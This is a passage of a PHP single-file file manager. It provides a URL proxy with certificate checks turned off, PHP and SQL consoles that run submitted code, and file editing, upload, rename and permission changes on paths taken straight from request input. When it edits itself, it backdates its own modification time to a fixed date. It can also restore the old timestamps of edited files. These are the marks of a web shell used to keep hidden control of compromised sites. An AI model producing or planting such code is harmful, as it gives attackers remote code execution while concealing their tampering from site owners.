	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
